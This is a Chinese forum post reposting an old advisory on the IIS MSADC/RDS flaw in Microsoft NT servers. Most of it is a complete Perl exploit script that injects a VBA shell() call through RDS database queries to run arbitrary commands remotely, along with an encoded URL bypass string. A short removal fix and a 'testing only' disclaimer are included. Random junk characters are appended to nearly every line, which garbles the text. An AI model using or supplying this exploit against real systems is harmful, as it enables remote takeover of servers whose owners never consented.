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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) qtQ6cq Ld  
k@3Q|na  
涉及程序: 283F)T\Rv  
Microsoft NT server s pp f  
~2QR{; XQ  
描述: O4V.11FnW  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \}"$ ?d'f  
9|gr0&#~j  
详细: 2h1vVF3  
如果你没有时间读详细内容的话,就删除: O#S;q5L@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll P n>Xbe  
有关的安全问题就没有了。 ~ijVmWNk  
G#u6Am)T  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 hUp.tK:X7o  
)E-inHD /  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 AN/;)wc  
关于利用ODBC远程漏洞的描述,请参看: Pu*6"}#~  
lY?QQ01D  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ne[7gxpu  
C8V/UbA /  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 BlA_.]Sg$  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp xgKdMW'%g:  
'z%o16F)L  
这里不再论述。 YH\OFg@7  
)\J+Kiy)  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1Y7Eajt-5  
z4jR[x,  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset lrIS{MJ+-  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &)AVzN+*h  
j)/nKh4O  
_0]S69lp  
#将下面这段保存为txt文件,然后: "perl -x 文件名" #/Vh|UeX  
DkvF5c&  
#!perl W"}M1o  
# R|(q  
# MSADC/RDS 'usage' (aka exploit) script ,0~n3G  
# Tk:h@F|B.|  
# by rain.forest.puppy =,_ +0M9  
# `OXpU,Z 6U  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me B1>/5hV}  
# beta test and find errors! 8TLgNQP  
&h^9}>rVjV  
use Socket; use Getopt::Std; 4'a=pnE$  
getopts("e:vd:h:XR", \%args); IDB+%xl#S  
2ZG5<"DQ"  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; [f1 (`<  
gT0BkwIV  
if (!defined $args{h} && !defined $args{R}) { VFURAYS  
print qq~ FrL]^59a  
Usage: msadc.pl -h <host> { -d <delay> -X -v } FtfKe"qw  
-h <host> = host you want to scan (ip or domain) +#lM  
-d <seconds> = delay between calls, default 1 second UQC=g  
-X = dump Index Server path table, if available Vr^n1sgE}r  
-v = verbose kT"Kyd  
-e = external dictionary file for step 5 +'I+o5*  
3L_\`Ia9  
Or a -R will resume a command session VcSVu  
\KQ71yqY  
~; exit;} LWz&YF#T-  
/ zB0J?  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; w35J.zn  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} {f2S/$q  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} G IT>L  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); J;{N72  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :y%/u%L  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } *n 6s.$p)%  
&eCa0s?mI  
if (!defined $args{R}){ $ret = &has_msadc; |:xYE{*)H  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} $JJrSwR<h  
$Q96,rb}k;  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" HkUWehVm  
. "cmd /c "; c#Sa]n  
$in=<STDIN>; chomp $in; q_g+Jf P-D  
$command="cmd /c " . $in ; )4gJd? 8R  
+;N2p1ZBf  
if (defined $args{R}) {&load; exit;} VEqS;~[  
b F"G[pD  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; %,6#2X nX%  
&try_btcustmr; Sa?ksD2IaB  
TDFkxB>  
print "\nStep 2: Trying to make our own DSN..."; #LL?IRH9^  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; _aad=BrMK  
:Q $K<)[  
print "\nStep 3: Trying known DSNs..."; 7VqM$I  
&known_dsn; /%}*Xh  
njScz"L~  
print "\nStep 4: Trying known .mdbs..."; Q<^Tl(`/N?  
&known_mdb; nrxo &9[@n  
0=* 8  
if (defined $args{e}){ Ma.`A  
print "\nStep 5: Trying dictionary of DSN names..."; [E!oQVY  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } aE&,]'6  
\?0&0;5  
print "Sorry Charley...maybe next time?\n"; Tx|Ir+f6L  
exit; 9`I _Et  
+*ZO&yJQ^<  
############################################################################## w+#C-&z  
a(kg/s  
sub sendraw { # ripped and modded from whisker @SJL\{_  
sleep($delay); # it's a DoS on the server! At least on mine... XQ9O$ ~q  
my ($pstr)=@_; )}D'<^=#T  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _aFl_\3>  
die("Socket problems\n"); :km61  
if(connect(S,pack "SnA4x8",2,80,$target)){ D coX+8 7  
select(S); $|=1; hxVKV?Fl  
print $pstr; my @in=<S>; s%C)t6`9  
select(STDOUT); close(S); \O*-#}~\  
return @in; TcjEcMw,  
} else { die("Can't connect...\n"); }} /'].lp  
^)(bM$(`  
############################################################################## ~P8tUhffK  
bJRN;g  
sub make_header { # make the HTTP request 66/3|83Z  
my $msadc=<<EOT Ghx3EVqnx"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 E^ P,*s  
User-Agent: ACTIVEDATA QDs^Ije  
Host: $ip Z:,U]Z(  
Content-Length: $clen 5p<ItU$pnL  
Connection: Keep-Alive qq) rd  
I/d&G#:~  
ADCClientVersion:01.06 Rn`x7(WA  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 b$ve sJ  
kbTm^y"  
--!ADM!ROX!YOUR!WORLD! f,V<;s  
Content-Type: application/x-varg @ezH'y-v  
Content-Length: $reqlen \m7-rV6r  
Qy^1*j<@&  
EOT 4L ;% h  
; $msadc=~s/\n/\r\n/g; WHsgjvh"  
return $msadc;}  tBq nf v  
pm*xb]8y  
############################################################################## Mr;E<Lj ^K  
(qqOjz   
sub make_req { # make the RDS request vwjPmOjhS  
my ($switch, $p1, $p2)=@_; rai3<_W<  
my $req=""; my $t1, $t2, $query, $dsn; =yr0bGy`-  
y4*U6+#.  
if ($switch==1){ # this is the btcustmr.mdb query A'q#I>j`  
$query="Select * from Customers where City=" . make_shell(); TD1 [  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . i5Zk_-\#H  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} C~nzH,5  
^B(V4-|  
elsif ($switch==2){ # this is general make table query Bt> }rYz1  
$query="create table AZZ (B int, C varchar(10))"; LJk@Vy <?  
$dsn="$p1";} S4^vpY DeN  
mL{B!Q  
elsif ($switch==3){ # this is general exploit table query <(-= 'QA  
$query="select * from AZZ where C=" . make_shell(); $FlW1E j  
$dsn="$p1";} 'oF%,4 !Y  
As3.Q(#Z  
elsif ($switch==4){ # attempt to hork file info from index server LQ(yScA@  
$query="select path from scope()"; [s"O mAy4  
$dsn="Provider=MSIDXS;";} 4{hps.$?~  
X%Z{K-  
elsif ($switch==5){ # bad query @y='^DQ*  
$query="select"; 9:ze{ c $  
$dsn="$p1";} LQtj~c>X-|  
b7 NM#Hb  
$t1= make_unicode($query); &y3OR1_Sm*  
$t2= make_unicode($dsn); 0~ZFv Wv  
$req = "\x02\x00\x03\x00"; X 9p.gXF  
$req.= "\x08\x00" . pack ("S1", length($t1)); 9z}uc@#D=m  
$req.= "\x00\x00" . $t1 ; KNS.Nw7  
$req.= "\x08\x00" . pack ("S1", length($t2)); jX3,c%aQ5e  
$req.= "\x00\x00" . $t2 ; *of3:w  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; JRSSn]pw  
return $req;} 19O,a#{KHf  
$^OvhnL/  
############################################################################## =+U `-J} g  
ue4Vcf  
sub make_shell { # this makes the shell() statement 0J?~N`#O|  
return "'|shell(\"$command\")|'";} Y' %^NP}o  
G?E oPh^m  
############################################################################## (yF:6$:#  
zA$k0p  
sub make_unicode { # quick little function to convert to unicode N['qgO/  
my ($in)=@_; my $out; &>%T^Y|J4  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } SnE(o)Q  
return $out;} aa>xIW,u  
R_sr?V|"  
############################################################################## `8^TTQ  
CjlKMbnBH  
sub rdo_success { # checks for RDO return success (this is kludge) h3bff#<K  
my (@in) = @_; my $base=content_start(@in); cW i}V  
if($in[$base]=~/multipart\/mixed/){ T(f/ ?_%  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Po ZuMF  
return 0;} -u2P ?~  
SS$[VV  
############################################################################## *a58ZI@  
k p<OJy  
sub make_dsn { # this makes a DSN for us 3[O=x XB  
my @drives=("c","d","e","f"); M[6:p2u  
print "\nMaking DSN: "; {$R' WXVs  
foreach $drive (@drives) { IB[)TZ2m  
print "$drive: "; i'9vL:3  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ~~v3p>zRr  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?Lyxw]  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); :?/cPg'D  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 8-BflejX  
return 0 if $2 eq "404"; # not found/doesn't exist l-SAC3qhG  
if($2 eq "200") { &;+ -?k|  
foreach $line (@results) { KVD8YfF  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} [-\%4  
} return 0;} ^:#D0[  
h{AII  
############################################################################## OY:,D  
Zn ''_fjh  
sub verify_exists { 5[A@ gw0u  
my ($page)=@_; .v$D13L(o  
my @results=sendraw("GET $page HTTP/1.0\n\n"); N'g>MBdI  
return $results[0];} c2&q*]?l;  
<)u`~$n2  
############################################################################## 5qr'.m  
b]x4o#t  
sub try_btcustmr { W0l,cOOZJ  
my @drives=("c","d","e","f"); WN01h=1J_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %KmiH ;U  
u/M+u;  
foreach $dir (@dirs) { w,h`s.AN  
print "$dir -> "; # fun status so you can see progress JKGc3j,+#  
foreach $drive (@drives) { Vm3v-=6  
print "$drive: "; # ditto R~)\3] "2m  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *QLI3B9V  
$reqlenlen=length( "$reqlen" ); b*`lk2oMa/  
$clen= 206 + $reqlenlen + $reqlen; ZaL.!g  
7cTV?nc  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); w)Q0_2p.  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Vl:^>jTki  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} D'J 0wT#  
CbwJd5tk  
############################################################################## #wV8X`g  
a'2$nbp}  
sub odbc_error { B)qWtMZx  
my (@in)=@_; my $base; k&,~qoU  
my $base = content_start(@in); Q aS\(_  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this G&4&-<  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sOU1n  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !"\80LP  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; J[4mL U  
return $in[$base+4].$in[$base+5].$in[$base+6];} i70w rW#k  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]=>F.GE  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . . koYHq  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} MBqt&_?K  
y~F,0"N\r  
############################################################################## ;*:Pw?'  
Y*H|?uNF  
sub verbose { FLGk?.x$\  
my ($in)=@_; `QyO`y=?[Y  
return if !$verbose; T3k#VNH  
print STDOUT "\n$in\n";} Mz~M3$$9n  
zmSUw}-4 N  
############################################################################## v"#mzd.tW  
fSs4ZXC  
sub save { S/4^ d &Gr  
my ($p1, $p2, $p3, $p4)=@_; jO!y_Y]B  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4:r!|PJn{G  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; mg*qiScfW  
close OUT;} . r[Hu40p  
A'jP7 P  
############################################################################## a{ ?`t|  
C/TF-g-_Y  
sub load { %Ti}CwI`  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; xwJH(_-  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); L IZRoG8  
@p=<IN>; close(IN);  Kfh|  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); o]; [R  
$target= inet_aton($ip) || die("inet_aton problems"); /.Ww6a~  
print "Resuming to $ip ..."; %*`J k#W:  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; aVK3?y2  
if($p[1]==1) { W9D86]3Y  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; QA5Qwe L  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >(?9?  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 4KH45|; 3  
if (rdo_success(@results)){print "Success!\n";} ?<(m 5Al7  
else { print "failed\n"; verbose(odbc_error(@results));}} &?*V0luP)  
elsif ($p[1]==3){ n&-qaoNl  
if(run_query("$p[3]")){ %we u 1f  
print "Success!\n";} else { print "failed\n"; }} V`bi&1?6\  
elsif ($p[1]==4){ n~A%q,DmF  
if(run_query($drvst . "$p[3]")){ 1e&QSzL  
print "Success!\n"; } else { print "failed\n"; }} W!?7D0q  
exit;} ]cGA~d  
;)!Sp:mHX  
############################################################################## f"u%J/e&  
^!9~Nwn  
sub create_table { Bh=u|8yxc  
my ($in)=@_; HA2k [F@3^  
$reqlen=length( make_req(2,$in,"") ) - 28; ~ ; -! n;  
$reqlenlen=length( "$reqlen" ); Bc6|n :;u  
$clen= 206 + $reqlenlen + $reqlen; 0IfKJ*]M  
my @results=sendraw(make_header() . make_req(2,$in,"")); IFDZfx  
return 1 if rdo_success(@results); l)!n/x_ !  
my $temp= odbc_error(@results); verbose($temp); mw='dFt  
return 1 if $temp=~/Table 'AZZ' already exists/; " QWq_R  
return 0;} ^V#@QPK9  
yp66{o  
############################################################################## |=$-Wu  
tb$LriN  
sub known_dsn { V\^EfQ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Kwg4sr5"D  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", pb$~b\s]=  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", R +WP0&d'  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); z&{5;A}Q@  
*7h!w!LN~  
foreach $dSn (@dsns) { 7LU}Iiv  
print "."; mL_j4=ER@  
next if (!is_access("DSN=$dSn")); #3_*]8K.R  
if(create_table("DSN=$dSn")){ ;ByOth|9P  
print "$dSn successful\n"; -mRA#  
if(run_query("DSN=$dSn")){ Xt#4/>dlR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { N9vP7  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 5JLu2P  
Ygl%eP%Z  
############################################################################## RW}"2  
bIEhgiH  
sub is_access { ngat0'oa  
my ($in)=@_; kjtjw1\o  
$reqlen=length( make_req(5,$in,"") ) - 28; )I$q5%q8  
$reqlenlen=length( "$reqlen" ); bf!M#QOk?  
$clen= 206 + $reqlenlen + $reqlen; ltD37QZQ  
my @results=sendraw(make_header() . make_req(5,$in,"")); FN%m0"/Z{t  
my $temp= odbc_error(@results); ,iv|Pq $!  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); d\FJFMW*9  
return 0;} q7-L53.x  
8G5m{XTS(  
############################################################################## ]s GHG^I6  
9`w)  
sub run_query { yNqe8C,>e  
my ($in)=@_; IrWD%/$H  
$reqlen=length( make_req(3,$in,"") ) - 28; ty*@7g0k  
$reqlenlen=length( "$reqlen" ); %0mMz.f  
$clen= 206 + $reqlenlen + $reqlen; !ZI7&r`u;  
my @results=sendraw(make_header() . make_req(3,$in,"")); ulER1\W  
return 1 if rdo_success(@results); _Jt 2YZdA  
my $temp= odbc_error(@results); verbose($temp); NU*fg`w  
return 0;} }LijnHH.  
rJ!{/3e  
############################################################################## sPb=82~z  
U=o"32n+  
sub known_mdb { j`*#v  
my @drives=("c","d","e","f","g"); L   
my @dirs=("winnt","winnt35","winnt351","win","windows"); pKjoi{ Z  
my $dir, $drive, $mdb; wu4NLgkE  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; m~D&gGFt  
nYt/U\n!  
# this is sparse, because I don't know of many a /:@"&Y  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -p E(_  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", pOrWg@<\L  
"\\system32\\certmdb.mdb", Xe^Cn R  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,s_T pq  
OHflIeq#@  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", $Tb G+Eb8  
"\\cfusion\\cfapps\\forums\\forums_.mdb", fS"Hr0  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", D^-7JbE]  
"\\cfusion\\cfapps\\security\\realm_.mdb", WMBm6?54  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", `r_m+]  
"\\cfusion\\database\\cfexamples.mdb", k~|-gf FP  
"\\cfusion\\database\\cfsnippets.mdb",  =Mb1o[  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", (}5S  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", h#hxOVl%x  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 2*w:tT8+X  
"\\cfusion\\database\\smpolicy.mdb", ]l(wg]  
"\\cfusion\\database\cypress.mdb", 5&e<#"  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", mnID3=JF  
"\\website\\cgi-win\\dbsample.mdb", Y2[A2Uy$ef  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ZDC9oX @  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" bI y sl  
); #these are just >R2SQA o  
foreach $drive (@drives) { d|*"IFe  
foreach $dir (@dirs){ JMS(9>+TA  
foreach $mdb (@sysmdbs) { s-7RW  
print "."; N*@aDM07  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ d.2mT?`#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; vi)%$~  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ PccB]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; .?>5-od2  
} else { print "Something's borked. Use verbose next time\n"; }}}}} snt(IJQ  
7 uarh!  
foreach $drive (@drives) { NcAp_q? 4  
foreach $mdb (@mdbs) { k3t78Qg  
print "."; D>!6,m2  
if(create_table($drv . $drive . $dir . $mdb)){ eJo3 MK  
print "\n" . $drive . $dir . $mdb . " successful\n"; /LM4- S  
if(run_query($drv . $drive . $dir . $mdb)){ rO:u6."_  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; cf7v[ZZ}  
} else { print "Something's borked. Use verbose next time\n"; }}}} w?,M}=vg  
} Y=T'WNaL)0  
ZK'-U,Y.H7  
############################################################################## 0iZGPe~  
~kCwJ<E  
sub hork_idx { & ``d  
print "\nAttempting to dump Index Server tables...\n"; l6u&5[C  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _NcY I  
$reqlen=length( make_req(4,"","") ) - 28; m"9XT)N  
$reqlenlen=length( "$reqlen" ); WpLZQ6wH  
$clen= 206 + $reqlenlen + $reqlen; [,aqQ6S  
my @results=sendraw2(make_header() . make_req(4,"","")); JNFIT;L  
if (rdo_success(@results)){ BvU"4d;x  
my $max=@results; my $c; my %d; j2P n<0U  
for($c=19; $c<$max; $c++){ bhs(Qzx  
$results[$c]=~s/\x00//g; gs W0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; YUdxG/~'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; '&;69`FSe  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; -[Qvg49jy  
$d{"$1$2"}="";} Xm4CKuU@  
foreach $c (keys %d){ print "$c\n"; }  YOAn4]j  
} else {print "Index server doesn't seem to be installed.\n"; }} c:l]=O   
3?E&}J<n  
############################################################################## yxBUj*3  
#2:a[ ~Lf  
sub dsn_dict { jb /8?7  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ?v-1zCls  
while(<IN>){ K+T .o6+  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ;p ]y)3  
next if (!is_access("DSN=$dSn")); w&BGJYI  
if(create_table("DSN=$dSn")){ E&B{5/rv  
print "$dSn successful\n"; to6;?uC+|i  
if(run_query("DSN=$dSn")){ z\/53Sy<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6TH!vuQ1(  
print "Something's borked. Use verbose next time\n";}}} $iM=4 3W  
print "\n"; close(IN);} K"2|[5  
Uw<&Wm`'  
############################################################################## x>~p;z#VX  
>x[`;O4  
sub sendraw2 { # ripped and modded from whisker wG8Wez%  
sleep($delay); # it's a DoS on the server! At least on mine... @S 6u9v  
my ($pstr)=@_; D^Ys)- d  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || t!_x(u  
die("Socket problems\n"); Be}$I_95\P  
if(connect(S,pack "SnA4x8",2,80,$target)){ 8#` 6M5  
print "Connected. Getting data"; E:nt)Ef,  
open(OUT,">raw.out"); my @in; oH2!5;A|  
select(S); $|=1; print $pstr; uvA(Rn  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} PzY)"]g  
close(OUT); select(STDOUT); close(S); return @in; n$2RCQ  
} else { die("Can't connect...\n"); }} (}:C+p 'I  
:Au /2  
############################################################################## T[Pa/j{  
s{/qS3=  
sub content_start { # this will take in the server headers P=H+ #  
my (@in)=@_; my $c; cywg[  
for ($c=1;$c<500;$c++) { a)2yE,":  
if($in[$c] =~/^\x0d\x0a/){ e(1k0W4B  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Vj; vo`T  
else { return $c+1; }}} d \>2  
return -1;} # it should never get here actually <E\V`g  
PG,U6c #  
############################################################################## iS@\ =CK  
|)W!jC&k  
sub funky { Ak~4|w-  
my (@in)=@_; my $error=odbc_error(@in); ;T ZGC).6  
if($error=~/ADO could not find the specified provider/){ 0>!/rR7  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; WP-jtZ?!"  
exit;} A6ewdT?>,  
if($error=~/A Handler is required/){ Qrz4}0  
print "\nServer has custom handler filters (they most likely are patched)\n"; z#<P} }  
exit;} tiLu75vj  
if($error=~/specified Handler has denied Access/){ uv4 _:   
print "\nServer has custom handler filters (they most likely are patched)\n"; Wn!G.(Jq  
exit;}} sa1mC  
!;>(i e\  
############################################################################## uC~g#[I QM  
. 9 LL+d  
sub has_msadc { Vos?PqUi 4  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ew#T8F[  
my $base=content_start(@results);  r@T| e  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); EaS~`  
return 0;} S=gW(c2'  
2w?G.pO#  
######################## dm R3Y.\jd  
SZVV40w  
"E*8h/4u  
解决方案:  }sMW3'V  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll i#,1i VSG  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6b:DJ  
p q-!WQ  
拿出来充数 哈哈
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